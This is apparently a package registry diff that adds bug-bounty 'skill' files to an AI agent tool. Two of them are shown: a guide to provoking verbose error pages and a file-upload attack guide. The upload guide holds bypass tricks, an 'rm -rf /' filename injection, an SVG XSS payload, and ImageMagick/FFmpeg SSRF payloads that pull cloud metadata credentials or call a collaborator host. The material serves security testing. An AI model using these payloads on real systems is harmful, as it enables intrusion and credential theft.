@hostclubeos/miraos 0.0.5-beta → 0.0.7-beta
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bundled/bug-hunter/references/apk-redteam-pipeline/SKILL.md +407 -0
- package/bundled/bug-hunter/references/bb-local-toolkit/SKILL.md +1558 -0
- package/bundled/bug-hunter/references/bb-methodology/SKILL.md +513 -0
- package/bundled/bug-hunter/references/bug-bounty/SKILL.md +1604 -0
- package/bundled/bug-hunter/references/bugcrowd-reporting/SKILL.md +331 -0
- package/bundled/bug-hunter/references/cloud-iam-deep/SKILL.md +521 -0
- package/bundled/bug-hunter/references/enterprise-vpn-attack/SKILL.md +356 -0
- package/bundled/bug-hunter/references/evidence-hygiene/SKILL.md +401 -0
- package/bundled/bug-hunter/references/exploit-completion/SKILL.md +155 -0
- package/bundled/bug-hunter/references/hunt-api-misconfig/SKILL.md +268 -0
- package/bundled/bug-hunter/references/hunt-aspnet/SKILL.md +277 -0
- package/bundled/bug-hunter/references/hunt-ato/SKILL.md +140 -0
- package/bundled/bug-hunter/references/hunt-auth-bypass/SKILL.md +449 -0
- package/bundled/bug-hunter/references/hunt-brute-force/SKILL.md +297 -0
- package/bundled/bug-hunter/references/hunt-business-logic/SKILL.md +237 -0
- package/bundled/bug-hunter/references/hunt-cache-poison/SKILL.md +338 -0
- package/bundled/bug-hunter/references/hunt-captcha-bypass/SKILL.md +92 -0
- package/bundled/bug-hunter/references/hunt-cicd/SKILL.md +267 -0
- package/bundled/bug-hunter/references/hunt-clickjacking/SKILL.md +66 -0
- package/bundled/bug-hunter/references/hunt-cloud-misconfig/SKILL.md +195 -0
- package/bundled/bug-hunter/references/hunt-cors/SKILL.md +291 -0
- package/bundled/bug-hunter/references/hunt-csrf/SKILL.md +374 -0
- package/bundled/bug-hunter/references/hunt-deserialization/SKILL.md +178 -0
- package/bundled/bug-hunter/references/hunt-dispatch/SKILL.md +380 -0
- package/bundled/bug-hunter/references/hunt-dom/SKILL.md +279 -0
- package/bundled/bug-hunter/references/hunt-exceptional-conditions/SKILL.md +67 -0
- package/bundled/bug-hunter/references/hunt-file-upload/SKILL.md +158 -0
- package/bundled/bug-hunter/references/hunt-fintech-graphql/SKILL.md +245 -0
- package/bundled/bug-hunter/references/hunt-forgot-password/SKILL.md +70 -0
- package/bundled/bug-hunter/references/hunt-graphql/SKILL.md +368 -0
- package/bundled/bug-hunter/references/hunt-grpc/SKILL.md +273 -0
- package/bundled/bug-hunter/references/hunt-host-header/SKILL.md +265 -0
- package/bundled/bug-hunter/references/hunt-html-injection/SKILL.md +62 -0
- package/bundled/bug-hunter/references/hunt-http-smuggling/SKILL.md +87 -0
- package/bundled/bug-hunter/references/hunt-idor/SKILL.md +389 -0
- package/bundled/bug-hunter/references/hunt-jwt-crypto/SKILL.md +177 -0
- package/bundled/bug-hunter/references/hunt-k8s/SKILL.md +293 -0
- package/bundled/bug-hunter/references/hunt-laravel/SKILL.md +211 -0
- package/bundled/bug-hunter/references/hunt-ldap/SKILL.md +307 -0
- package/bundled/bug-hunter/references/hunt-lfi/SKILL.md +266 -0
- package/bundled/bug-hunter/references/hunt-llm-ai/SKILL.md +245 -0
- package/bundled/bug-hunter/references/hunt-mfa-bypass/SKILL.md +134 -0
- package/bundled/bug-hunter/references/hunt-misc/SKILL.md +333 -0
- package/bundled/bug-hunter/references/hunt-nextjs/SKILL.md +255 -0
- package/bundled/bug-hunter/references/hunt-nodejs/SKILL.md +219 -0
- package/bundled/bug-hunter/references/hunt-nosqli/SKILL.md +166 -0
- package/bundled/bug-hunter/references/hunt-ntlm-info/SKILL.md +270 -0
- package/bundled/bug-hunter/references/hunt-oauth/SKILL.md +414 -0
- package/bundled/bug-hunter/references/hunt-open-redirect/SKILL.md +179 -0
- package/bundled/bug-hunter/references/hunt-race-condition/SKILL.md +485 -0
- package/bundled/bug-hunter/references/hunt-rag-vector/SKILL.md +167 -0
- package/bundled/bug-hunter/references/hunt-rce/SKILL.md +494 -0
- package/bundled/bug-hunter/references/hunt-saml/SKILL.md +112 -0
- package/bundled/bug-hunter/references/hunt-session/SKILL.md +298 -0
- package/bundled/bug-hunter/references/hunt-shadow-api/SKILL.md +153 -0
- package/bundled/bug-hunter/references/hunt-sharepoint/SKILL.md +437 -0
- package/bundled/bug-hunter/references/hunt-source-leak/SKILL.md +301 -0
- package/bundled/bug-hunter/references/hunt-spa-api/SKILL.md +123 -0
- package/bundled/bug-hunter/references/hunt-springboot/SKILL.md +241 -0
- package/bundled/bug-hunter/references/hunt-sqli/SKILL.md +422 -0
- package/bundled/bug-hunter/references/hunt-ssrf/SKILL.md +514 -0
- package/bundled/bug-hunter/references/hunt-ssti/SKILL.md +117 -0
- package/bundled/bug-hunter/references/hunt-subdomain/SKILL.md +335 -0
- package/bundled/bug-hunter/references/hunt-tls-network/SKILL.md +355 -0
- package/bundled/bug-hunter/references/hunt-websocket/SKILL.md +285 -0
- package/bundled/bug-hunter/references/hunt-xss/SKILL.md +450 -0
- package/bundled/bug-hunter/references/hunt-xxe/SKILL.md +422 -0
- package/bundled/bug-hunter/references/ios-redteam-pipeline/SKILL.md +287 -0
- package/bundled/bug-hunter/references/m365-entra-attack/SKILL.md +384 -0
- package/bundled/bug-hunter/references/meme-coin-audit/SKILL.md +358 -0
- package/bundled/bug-hunter/references/mid-engagement-ir-detection/SKILL.md +353 -0
- package/bundled/bug-hunter/references/offensive-osint/README.md +98 -0
- package/bundled/bug-hunter/references/offensive-osint/SKILL.md +399 -0
- package/bundled/bug-hunter/references/offensive-osint/references/breach-and-credentials.md +128 -0
- package/bundled/bug-hunter/references/offensive-osint/references/dork-corpus.md +180 -0
- package/bundled/bug-hunter/references/offensive-osint/references/helpers-and-automation.md +231 -0
- package/bundled/bug-hunter/references/offensive-osint/references/identity-fabric.md +305 -0
- package/bundled/bug-hunter/references/offensive-osint/references/people-osint.md +105 -0
- package/bundled/bug-hunter/references/offensive-osint/references/probes-and-wordlists.md +1266 -0
- package/bundled/bug-hunter/references/offensive-osint/references/recon-stack.md +282 -0
- package/bundled/bug-hunter/references/offensive-osint/references/recon-techniques.md +341 -0
- package/bundled/bug-hunter/references/offensive-osint/references/saas-public-surfaces.md +138 -0
- package/bundled/bug-hunter/references/offensive-osint/references/secret-patterns.md +67 -0
- package/bundled/bug-hunter/references/offensive-osint/references/secret-validators.md +329 -0
- package/bundled/bug-hunter/references/offensive-osint/references/sector-notes.md +72 -0
- package/bundled/bug-hunter/references/offensive-osint/references/severity-matrix.md +108 -0
- package/bundled/bug-hunter/references/offensive-osint/references/specialized-osint.md +199 -0
- package/bundled/bug-hunter/references/offensive-osint/references/tooling-install.md +188 -0
- package/bundled/bug-hunter/references/offensive-osint/scripts/assets/FONT-LICENSE.txt +13 -0
- package/bundled/bug-hunter/references/offensive-osint/scripts/assets/archivo-black.woff2 +0 -0
- package/bundled/bug-hunter/references/offensive-osint/scripts/dashboard.py +968 -0
- package/bundled/bug-hunter/references/offensive-osint/scripts/h1_reference.py +402 -0
- package/bundled/bug-hunter/references/offensive-osint/scripts/secret_scan.py +180 -0
- package/bundled/bug-hunter/references/okta-attack/SKILL.md +397 -0
- package/bundled/bug-hunter/references/osint-methodology/README.md +66 -0
- package/bundled/bug-hunter/references/osint-methodology/SKILL.md +1704 -0
- package/bundled/bug-hunter/references/recon-scope-triage/SKILL.md +89 -0
- package/bundled/bug-hunter/references/redteam-mindset/SKILL.md +401 -0
- package/bundled/bug-hunter/references/redteam-report-template/SKILL.md +347 -0
- package/bundled/bug-hunter/references/regression-hunting/SKILL.md +98 -0
- package/bundled/bug-hunter/references/report-writing/SKILL.md +568 -0
- package/bundled/bug-hunter/references/security-arsenal/SKILL.md +912 -0
- package/bundled/bug-hunter/references/supply-chain-attack-recon/SKILL.md +648 -0
- package/bundled/bug-hunter/references/triage-validation/SKILL.md +418 -0
- package/bundled/bug-hunter/references/vmware-vcenter-attack/SKILL.md +372 -0
- package/bundled/bug-hunter/references/web2-recon/SKILL.md +698 -0
- package/bundled/bug-hunter/references/web3-audit/SKILL.md +606 -0
- package/chunks/{acpAgent-UHWDA3W7.js → acpAgent-JC4KGTLW.js} +2 -2
- package/chunks/{chunk-BX3KM7OK.js → chunk-2PB6TEZU.js} +1 -1
- package/chunks/{chunk-4IVYVCCU.js → chunk-3NB3FFLR.js} +1 -1
- package/chunks/{chunk-XZNF4YNN.js → chunk-5RYDKYIR.js} +1 -1
- package/chunks/{chunk-MUS4ADP7.js → chunk-67PM7M5R.js} +1 -1
- package/chunks/{chunk-D3YOXHQF.js → chunk-6T25QVBX.js} +1 -1
- package/chunks/{chunk-NYM67KKZ.js → chunk-7SAR6NXA.js} +1 -1
- package/chunks/{chunk-RKFNQQNA.js → chunk-BSLIVO6O.js} +1 -1
- package/chunks/{chunk-MQWKOOSR.js → chunk-DF6TBGS2.js} +1 -1
- package/chunks/{chunk-2TDRP3IX.js → chunk-G35E5UB3.js} +1 -1
- package/chunks/{chunk-2GVKPBW5.js → chunk-GN7ODRDE.js} +1 -1
- package/chunks/{chunk-PXBJPUGN.js → chunk-H2QXWIRZ.js} +1 -1
- package/chunks/{chunk-FRADUGRC.js → chunk-JDABSS6M.js} +1 -1
- package/chunks/{chunk-QEIX42MZ.js → chunk-JJQJFMPL.js} +1 -1
- package/chunks/{chunk-FXANOHXI.js → chunk-MMGNOY3U.js} +3 -3
- package/chunks/{chunk-744QTJR2.js → chunk-N7WQH6L4.js} +2 -2
- package/chunks/{chunk-SK3QOQR4.js → chunk-PSSJDUZB.js} +1 -1
- package/chunks/{chunk-D3QZNIFB.js → chunk-SOCXRMZM.js} +4 -4
- package/chunks/{chunk-N4RIISOE.js → chunk-TXL535SJ.js} +1 -1
- package/chunks/{chunk-NKWATWMD.js → chunk-VRAHMOQQ.js} +1 -1
- package/chunks/{chunk-62DMHXLL.js → chunk-WCLAVBNR.js} +1 -1
- package/chunks/{daemon-status-provider-F6KB2LNG.js → daemon-status-provider-UX574XBB.js} +1 -1
- package/chunks/{fast-path-DWPD5EGQ.js → fast-path-OQWHYDXC.js} +1 -1
- package/chunks/{llm-RBI7KXDE.js → llm-R2RFT63S.js} +3 -3
- package/chunks/{local-HSG47CNJ.js → local-AONDQYFL.js} +1 -1
- package/chunks/{managed-local-serve-YE4JDFNP.js → managed-local-serve-DRNC6PTL.js} +1 -1
- package/chunks/{managed-runtime-bootstrap-SHEXUEZN.js → managed-runtime-bootstrap-K3GRKDNQ.js} +1 -1
- package/chunks/{managed-runtime-ssh-worker-BZNJV7IB.js → managed-runtime-ssh-worker-AVNBWFYC.js} +1 -1
- package/chunks/{memory-JTDN5AEA.js → memory-JVT5LAWJ.js} +1 -1
- package/chunks/{nonInteractiveCli-BXHX6EIU.js → nonInteractiveCli-2GHQYHGW.js} +1 -1
- package/chunks/{review-PC4IDLCG.js → review-NDK2B7XI.js} +1 -1
- package/chunks/{run-qwen-serve-XRWVWOZK.js → run-qwen-serve-P5X5OZUH.js} +1 -1
- package/chunks/{serve-JCUT4WK7.js → serve-UHEH433U.js} +1 -1
- package/chunks/{server-HMTRZJF7.js → server-ARYDETSZ.js} +1 -1
- package/chunks/{session-RGLZU6KY.js → session-HKWGCZF2.js} +1 -1
- package/chunks/{start-opentui-ui-YNTPK7LX.js → start-opentui-ui-S7A4FBGP.js} +1 -1
- package/chunks/{startInteractiveUI-MWA2VYTJ.js → startInteractiveUI-DY6DWFW7.js} +2 -2
- package/chunks/{validateNonInterActiveAuth-3433WFLE.js → validateNonInterActiveAuth-P2F6MYO6.js} +1 -1
- package/chunks/{version-XCFKTEY3.js → version-2ZFKVIIW.js} +1 -1
- package/cli.js +1 -1
- package/export-transcript-document.js +1 -1
- package/package.json +3 -3
- package/web-shell/assets/{PierreFilePreview-DEhWK46v.js → PierreFilePreview-Dkt6iPte.js} +1 -1
- package/web-shell/assets/SpreadsheetPreview-I4yiL7q3.js +1 -0
- package/web-shell/assets/{WorkspaceFileBrowser-64vDYikf.js → WorkspaceFileBrowser-Du9bMpNo.js} +1 -1
- package/web-shell/assets/{abnfDiagram-VCTEODGH-C2WWURam.js → abnfDiagram-VCTEODGH-CGY1lCxS.js} +1 -1
- package/web-shell/assets/{agents-route-j5ba59xn.js → agents-route-kcQ3YUNc.js} +1 -1
- package/web-shell/assets/{arc-Bkr_-GVn.js → arc-BUMNyJDV.js} +1 -1
- package/web-shell/assets/{architectureDiagram-5GKGNRK7-D_v_wDDW.js → architectureDiagram-5GKGNRK7-CEfXhEKD.js} +1 -1
- package/web-shell/assets/{blockDiagram-NRAW4CY4-Csxc3YNo.js → blockDiagram-NRAW4CY4-BH8hjvlX.js} +1 -1
- package/web-shell/assets/{c4Diagram-UCG6FXSJ-PXryoJCB.js → c4Diagram-UCG6FXSJ-Dfl946ex.js} +1 -1
- package/web-shell/assets/channel-CoZByzPk.js +1 -0
- package/web-shell/assets/{chunk-2Q5K7J3B-DwK5UBHI.js → chunk-2Q5K7J3B-CBvGm-pD.js} +1 -1
- package/web-shell/assets/{chunk-5VM5RSS4-BC1hvD6_.js → chunk-5VM5RSS4-k06tGOfl.js} +1 -1
- package/web-shell/assets/{chunk-F27PBJKO-iFe0IxfJ.js → chunk-F27PBJKO-Dv4S4vSq.js} +1 -1
- package/web-shell/assets/{chunk-G27WJ6UU-ROSuKRxI.js → chunk-G27WJ6UU-7LY0yu3f.js} +1 -1
- package/web-shell/assets/{chunk-JWPE2WC7-CYHS6PxA.js → chunk-JWPE2WC7-B-CgVEuJ.js} +1 -1
- package/web-shell/assets/{chunk-LCL6LL3I-D5bFMqCy.js → chunk-LCL6LL3I-D0TrWx1f.js} +1 -1
- package/web-shell/assets/{chunk-POPQ4Y6H-BJh77MGv.js → chunk-POPQ4Y6H-B97ZANlR.js} +1 -1
- package/web-shell/assets/{chunk-SVP7TREG-Cs81aYft.js → chunk-SVP7TREG-2CO_3G76.js} +1 -1
- package/web-shell/assets/{chunk-XXDRQBXY-DqDbN44E.js → chunk-XXDRQBXY-CFbSHjzz.js} +1 -1
- package/web-shell/assets/classDiagram-DTDB5LWJ-BgKRvG5r.js +1 -0
- package/web-shell/assets/classDiagram-v2-JRS7N3AN-BgKRvG5r.js +1 -0
- package/web-shell/assets/{cose-bilkent-JH36ORCC-DhjrwADJ.js → cose-bilkent-JH36ORCC-K-uc8eFw.js} +1 -1
- package/web-shell/assets/{cynefin-OW5HDTMX-Dh7t-_3M.js → cynefin-OW5HDTMX-Cb0lt2G3.js} +1 -1
- package/web-shell/assets/{cynefinDiagram-5FMLGOSQ-5J4kto0C.js → cynefinDiagram-5FMLGOSQ-DWkqpFuH.js} +1 -1
- package/web-shell/assets/{dagre-3AP2YEHR-28AdbIcl.js → dagre-3AP2YEHR-Cs8gu3Q4.js} +1 -1
- package/web-shell/assets/{diagram-S7CK7UJ4-DmksuoIf.js → diagram-S7CK7UJ4-DlMLXUgK.js} +1 -1
- package/web-shell/assets/{diagram-UQ7AKVKN-DUjgQ8Fg.js → diagram-UQ7AKVKN-68PPYL92.js} +1 -1
- package/web-shell/assets/{diagram-VSXAHHWV-DUe_FpG-.js → diagram-VSXAHHWV-CxIdRSbx.js} +1 -1
- package/web-shell/assets/{diagram-VX7I27RA-CJJ70teK.js → diagram-VX7I27RA-G3C0kWVW.js} +1 -1
- package/web-shell/assets/{diagram-Z3DM3KII-BgABlJO4.js → diagram-Z3DM3KII-CwEuAgyS.js} +1 -1
- package/web-shell/assets/{docx-preview-BMBWboRx.js → docx-preview-3XzkP9iR.js} +1 -1
- package/web-shell/assets/{ebnfDiagram-PWID7BFC-B3nK_Lh7.js → ebnfDiagram-PWID7BFC-DLeMX1Ka.js} +1 -1
- package/web-shell/assets/{erDiagram-SSCWMZ5O-DCTdCWlu.js → erDiagram-SSCWMZ5O-CoQLSOGk.js} +1 -1
- package/web-shell/assets/{flowDiagram-A5DVABFB-CPxk2UUl.js → flowDiagram-A5DVABFB-BXUV-Qml.js} +1 -1
- package/web-shell/assets/{ganttDiagram-EL5Y4UJY-WZzMAKht.js → ganttDiagram-EL5Y4UJY-sWi6Lowi.js} +1 -1
- package/web-shell/assets/{gitGraphDiagram-WWUBYQGX-DKcO5ugU.js → gitGraphDiagram-WWUBYQGX-Dsh4-kB4.js} +1 -1
- package/web-shell/assets/{index-CkRLMu1y.js → index-CrSq-SfJ.js} +6 -6
- package/web-shell/assets/{index-Dbm3-Fps.js → index-DjwWlZt0.js} +1 -1
- package/web-shell/assets/{infoDiagram-RXCK75RN-CJX5DzdL.js → infoDiagram-RXCK75RN-JZ6nFIgB.js} +1 -1
- package/web-shell/assets/{ishikawaDiagram-5VMMS53U-fF0Id5B6.js → ishikawaDiagram-5VMMS53U-qJj-sQFs.js} +1 -1
- package/web-shell/assets/{journeyDiagram-EYS64GPL-BOAezBVe.js → journeyDiagram-EYS64GPL-Ck0jv8SO.js} +1 -1
- package/web-shell/assets/{kanban-definition-3QL26DDD-DdNBof9J.js → kanban-definition-3QL26DDD-Ck6_Ydmt.js} +1 -1
- package/web-shell/assets/{layout-CXX3l5w0.js → layout-yLaSulE8.js} +1 -1
- package/web-shell/assets/{linear-Dnaccp-S.js → linear-CXw5rE6U.js} +1 -1
- package/web-shell/assets/{mermaid.core-BzdC3B6T.js → mermaid.core-6WQsyLcq.js} +6 -6
- package/web-shell/assets/{mindmap-definition-FBJOCRG2-D-gMUzLw.js → mindmap-definition-FBJOCRG2-BDAmAz8h.js} +1 -1
- package/web-shell/assets/{pegDiagram-XKGWAZYB-B9n1WVZq.js → pegDiagram-XKGWAZYB-Rvn5mpol.js} +1 -1
- package/web-shell/assets/{pieDiagram-E7YTZNPT-ok49U0zT.js → pieDiagram-E7YTZNPT-DHw4avFL.js} +1 -1
- package/web-shell/assets/{quadrantDiagram-AXDQQJYC-DJKha-v3.js → quadrantDiagram-AXDQQJYC-vch6jDK-.js} +1 -1
- package/web-shell/assets/{railroadDiagram-O6MQD6OU-DjL4pl7y.js → railroadDiagram-O6MQD6OU-DfVCzYpO.js} +1 -1
- package/web-shell/assets/{requirementDiagram-EFPCY7ZU-BpmmRw3A.js → requirementDiagram-EFPCY7ZU-BQAnwpSv.js} +1 -1
- package/web-shell/assets/{sankeyDiagram-P5KCCOFB-KpteHB8X.js → sankeyDiagram-P5KCCOFB-fJuxdbbi.js} +1 -1
- package/web-shell/assets/{sequenceDiagram-WJ2MYXX4-COMghCpA.js → sequenceDiagram-WJ2MYXX4-B3TtvHJp.js} +1 -1
- package/web-shell/assets/{sizeCapture-X5ZJPWSS-5fEwJD-n.js → sizeCapture-X5ZJPWSS-DlJmbcZd.js} +1 -1
- package/web-shell/assets/{stateDiagram-HBIQ2CUA-CnC7oXvs.js → stateDiagram-HBIQ2CUA--0kiPvGS.js} +1 -1
- package/web-shell/assets/stateDiagram-v2-4QOOHH4V-Dw-ppcvp.js +1 -0
- package/web-shell/assets/{swimlanes-XN3QIQJK-bVlhZdve.js → swimlanes-XN3QIQJK-CAytfKbo.js} +1 -1
- package/web-shell/assets/swimlanesDiagram-VK2B7HYN-B36XZQuh.js +8 -0
- package/web-shell/assets/{timeline-definition-24CTP7MA-CBvYgMu5.js → timeline-definition-24CTP7MA-C-BUmwu6.js} +1 -1
- package/web-shell/assets/{vennDiagram-4TSXK5OY-CUTYvV1j.js → vennDiagram-4TSXK5OY-W_dgEGv2.js} +1 -1
- package/web-shell/assets/{wardleyDiagram-VM6X3IG4-Djl4gxCB.js → wardleyDiagram-VM6X3IG4-ikAv1QJ9.js} +1 -1
- package/web-shell/assets/{xychartDiagram-S5SC5T6Z-BcJZtI2X.js → xychartDiagram-S5SC5T6Z-BmY9Ily6.js} +1 -1
- package/web-shell/index.html +1 -1
- package/web-shell/sw.js +1 -1
- package/web-shell/assets/SpreadsheetPreview-C-GgIuPX.js +0 -1
- package/web-shell/assets/channel-6Pj4KPAs.js +0 -1
- package/web-shell/assets/classDiagram-DTDB5LWJ-BaTUuuB8.js +0 -1
- package/web-shell/assets/classDiagram-v2-JRS7N3AN-BaTUuuB8.js +0 -1
- package/web-shell/assets/stateDiagram-v2-4QOOHH4V-V_cfZFBL.js +0 -1
- package/web-shell/assets/swimlanesDiagram-VK2B7HYN-25wVg0WL.js +0 -8
|
@@ -0,0 +1,67 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: hunt-exceptional-conditions
|
|
3
|
+
description: "Hunt mishandling of exceptional conditions — feed an endpoint malformed/unexpected input (wrong type, broken JSON, oversized field, null byte) and make it fail OPEN or leak internals: a verbose stack-trace / framework error page that discloses ORM internals, server file paths, library versions, or a language traceback. Use on any input-accepting endpoint (JSON APIs, forms, query params). Medium-High when the leak exposes internal structure that arms a deeper attack."
|
|
4
|
+
report_count: 0
|
|
5
|
+
sources: hackerone_public
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# HUNT-EXCEPTIONAL-CONDITIONS — Verbose Errors / Fail-Open (A10:2025)
|
|
9
|
+
|
|
10
|
+
## What actually pays
|
|
11
|
+
|
|
12
|
+
Well-built apps catch errors and return a clean, generic message. A broken app,
|
|
13
|
+
when handed input it didn't expect, throws an unhandled exception and renders a
|
|
14
|
+
**developer error page** straight to the client — leaking the stack trace, the
|
|
15
|
+
ORM/query internals, server-side file paths, and framework/library versions.
|
|
16
|
+
That disclosure is the finding (and it arms SQLi/RCE/path attacks next).
|
|
17
|
+
|
|
18
|
+
## Recon
|
|
19
|
+
|
|
20
|
+
Any endpoint that parses input is a candidate; the richest are:
|
|
21
|
+
|
|
22
|
+
```
|
|
23
|
+
JSON APIs that expect typed fields: POST /api/* with {numbers, ids, enums}
|
|
24
|
+
Endpoints with numeric/id path or query params: /item/{id}, ?page=, ?quantity=
|
|
25
|
+
Search / filter / sort params
|
|
26
|
+
File or content-type sensitive uploads
|
|
27
|
+
```
|
|
28
|
+
|
|
29
|
+
## Attack — send what the code didn't anticipate
|
|
30
|
+
|
|
31
|
+
Take a known-good request and break ONE assumption at a time:
|
|
32
|
+
|
|
33
|
+
- **Wrong type:** a field the app expects to be a number/string is sent as an
|
|
34
|
+
array or object — `{"rating":"x","comment":[1,2,3]}`, `{"quantity":{}}`.
|
|
35
|
+
- **Malformed body:** truncated/!invalid JSON, an unterminated string, a stray
|
|
36
|
+
brace, a wrong/missing Content-Type.
|
|
37
|
+
- **Boundary/oversized:** a very long string, a huge/negative/overflow number.
|
|
38
|
+
- **Null byte / control chars** embedded in a value.
|
|
39
|
+
|
|
40
|
+
```
|
|
41
|
+
POST /api/Feedbacks {"rating":"notanumber","comment":[1,2,3]}
|
|
42
|
+
GET /item/' OR /item/%00 (also exercises the error path)
|
|
43
|
+
```
|
|
44
|
+
|
|
45
|
+
Watch the RESPONSE BODY, not just the status: a 500 (or even a 200/400) whose
|
|
46
|
+
body contains a stack trace or framework error page is the signal.
|
|
47
|
+
|
|
48
|
+
## What counts as a leak (the success signal)
|
|
49
|
+
|
|
50
|
+
A finding is confirmed when the response body contains a cross-framework error-disclosure signature:
|
|
51
|
+
|
|
52
|
+
- **Node/Express + Sequelize:** `SequelizeDatabaseError`, `node_modules/sequelize`,
|
|
53
|
+
a JS stack with internal paths.
|
|
54
|
+
- **PHP:** `<b>Warning</b> ... /var/www/.../file.php on line N`.
|
|
55
|
+
- **Python:** `Traceback (most recent call last)`, `werkzeug.exceptions`.
|
|
56
|
+
- **Java:** `at com.app.Foo(Foo.java:42)` stack frames.
|
|
57
|
+
- **.NET:** `Server Error in '/' Application`, a `[System.XxxException: ...]` YSOD.
|
|
58
|
+
|
|
59
|
+
A clean JSON error (`{"error":"Invalid input"}`) with no internals is NOT a
|
|
60
|
+
finding — that's correct handling. Disclosure of internal structure is.
|
|
61
|
+
|
|
62
|
+
## Validation discipline
|
|
63
|
+
|
|
64
|
+
- Capture the exact leaked artifact (path, ORM class, version, stack frame) —
|
|
65
|
+
that's the evidence. "It returned 500" alone is not disclosure.
|
|
66
|
+
- Note what the leak enables next (e.g. a disclosed SQL error → hunt-sqli; a
|
|
67
|
+
disclosed absolute path → hunt-lfi).
|
|
@@ -0,0 +1,158 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: hunt-file-upload
|
|
3
|
+
description: "Hunt file upload bugs — RCE via webshell, XSS via SVG/HTML, SSRF via XXE in DOCX, path traversal via filename. Bypass tables (10 techniques): double extension (shell.php.jpg if server checks last ext only), magic bytes spoofing (PNG header on PHP), null byte (shell.php\0.jpg), case (PHP, .Php, .pHP), .htaccess upload to enable execution, SVG with <script>, HTML/SVG XSS, DOCX with embedded XXE, ZIP slip (../../../etc/passwd in archive), polyglot files. Detection: any /upload, /avatar, /profile-picture, /attachment, /import endpoint. Test: upload PHP/JSP/ASPX shells, request via direct URL, check response. Validate: actual code execution (whoami output) for RCE; reflected XSS in profile-photo URL. Use when testing file upload features, avatar/attachment endpoints, import/export functions, XML/DOCX/ZIP processors. Real paid examples."
|
|
4
|
+
sources: hackerone_public, cve_database, owasp, public_research
|
|
5
|
+
report_count: 5
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
## 9. FILE UPLOAD
|
|
9
|
+
|
|
10
|
+
### Content-Type Bypass
|
|
11
|
+
```
|
|
12
|
+
filename=shell.php, Content-Type: image/jpeg → server trusts Content-Type
|
|
13
|
+
filename=shell.phtml, shell.pHp, shell.php5 → extension variants
|
|
14
|
+
```
|
|
15
|
+
|
|
16
|
+
### File Upload Bypass Techniques (10 techniques)
|
|
17
|
+
|
|
18
|
+
| Attack | How | Prevention |
|
|
19
|
+
|---|---|---|
|
|
20
|
+
| Extension bypass | `shell.php.jpg`, `shell.pHp`, `shell.php5` | Allowlist + extract final extension |
|
|
21
|
+
| Null byte | `shell.php%00.jpg` | Sanitize null bytes |
|
|
22
|
+
| Double extension | `shell.jpg.php` | Only allow single extension |
|
|
23
|
+
| MIME spoof | Content-Type: image/jpeg with .php body | Validate magic bytes, not MIME header |
|
|
24
|
+
| Magic bytes prefix | Prepend `GIF89a;` to PHP code | Parse whole file, not just header |
|
|
25
|
+
| Polyglot | Valid as JPEG and PHP | Process as image lib, reject if invalid |
|
|
26
|
+
| SVG JavaScript | `<svg onload="...">` | Sanitize SVG or disallow entirely |
|
|
27
|
+
| XXE in DOCX | Malicious XML in Office ZIP | Disable external entities |
|
|
28
|
+
| ZIP slip | `../../../etc/passwd` in archive | Validate extracted paths |
|
|
29
|
+
| Filename injection | `; rm -rf /` in filename | Sanitize + use UUID names |
|
|
30
|
+
|
|
31
|
+
### Magic Bytes Reference
|
|
32
|
+
|
|
33
|
+
| Type | Hex |
|
|
34
|
+
|---|---|
|
|
35
|
+
| JPEG | `FF D8 FF` |
|
|
36
|
+
| PNG | `89 50 4E 47 0D 0A 1A 0A` |
|
|
37
|
+
| GIF | `47 49 46 38` |
|
|
38
|
+
| PDF | `25 50 44 46` |
|
|
39
|
+
| ZIP/DOCX/XLSX | `50 4B 03 04` |
|
|
40
|
+
|
|
41
|
+
### Stored XSS via SVG
|
|
42
|
+
```xml
|
|
43
|
+
<?xml version="1.0"?>
|
|
44
|
+
<svg xmlns="http://www.w3.org/2000/svg">
|
|
45
|
+
<script>alert(document.domain)</script>
|
|
46
|
+
</svg>
|
|
47
|
+
```
|
|
48
|
+
|
|
49
|
+
---
|
|
50
|
+
|
|
51
|
+
## ImageMagick / FFmpeg Exploitation
|
|
52
|
+
|
|
53
|
+
### ImageMagick SSRF / File Read (ImageTragick family + modern variants)
|
|
54
|
+
```bash
|
|
55
|
+
# Upload this as a .mvg or rename to .jpg/.png (magic bytes bypass)
|
|
56
|
+
# MVG SSRF payload — fetches internal URL during processing
|
|
57
|
+
cat > /tmp/ssrf.mvg << 'EOF'
|
|
58
|
+
push graphic-context
|
|
59
|
+
viewbox 0 0 640 480
|
|
60
|
+
fill 'url(http://169.254.169.254/latest/meta-data/iam/security-credentials/)'
|
|
61
|
+
pop graphic-context
|
|
62
|
+
EOF
|
|
63
|
+
|
|
64
|
+
# SVG SSRF (ImageMagick processes SVG remotely)
|
|
65
|
+
cat > /tmp/ssrf.svg << 'EOF'
|
|
66
|
+
<?xml version="1.0"?>
|
|
67
|
+
<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
|
|
68
|
+
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
|
|
69
|
+
<image xlink:href="http://COLLAB_HOST/imagemagick-ssrf" width="200" height="200"/>
|
|
70
|
+
</svg>
|
|
71
|
+
EOF
|
|
72
|
+
|
|
73
|
+
# WebP/AVIF processing bugs (modern surface — CVE-2023-4863)
|
|
74
|
+
# Upload a crafted WebP file targeting libwebp heap overflow
|
|
75
|
+
# Use: https://github.com/mistymntncop/CVE-2023-4863 PoC
|
|
76
|
+
```
|
|
77
|
+
|
|
78
|
+
### FFmpeg SSRF via HLS Playlist
|
|
79
|
+
```bash
|
|
80
|
+
# FFmpeg processes m3u8 playlists and fetches referenced segments
|
|
81
|
+
cat > /tmp/ssrf.m3u8 << 'EOF'
|
|
82
|
+
#EXTM3U
|
|
83
|
+
#EXT-X-MEDIA-SEQUENCE:0
|
|
84
|
+
#EXTINF:10.0,
|
|
85
|
+
http://169.254.169.254/latest/meta-data/iam/security-credentials/
|
|
86
|
+
#EXT-X-ENDLIST
|
|
87
|
+
EOF
|
|
88
|
+
|
|
89
|
+
# Also works with concat demuxer
|
|
90
|
+
cat > /tmp/concat.txt << 'EOF'
|
|
91
|
+
ffconcat version 1.0
|
|
92
|
+
file 'http://COLLAB_HOST/ffmpeg-ssrf'
|
|
93
|
+
EOF
|
|
94
|
+
|
|
95
|
+
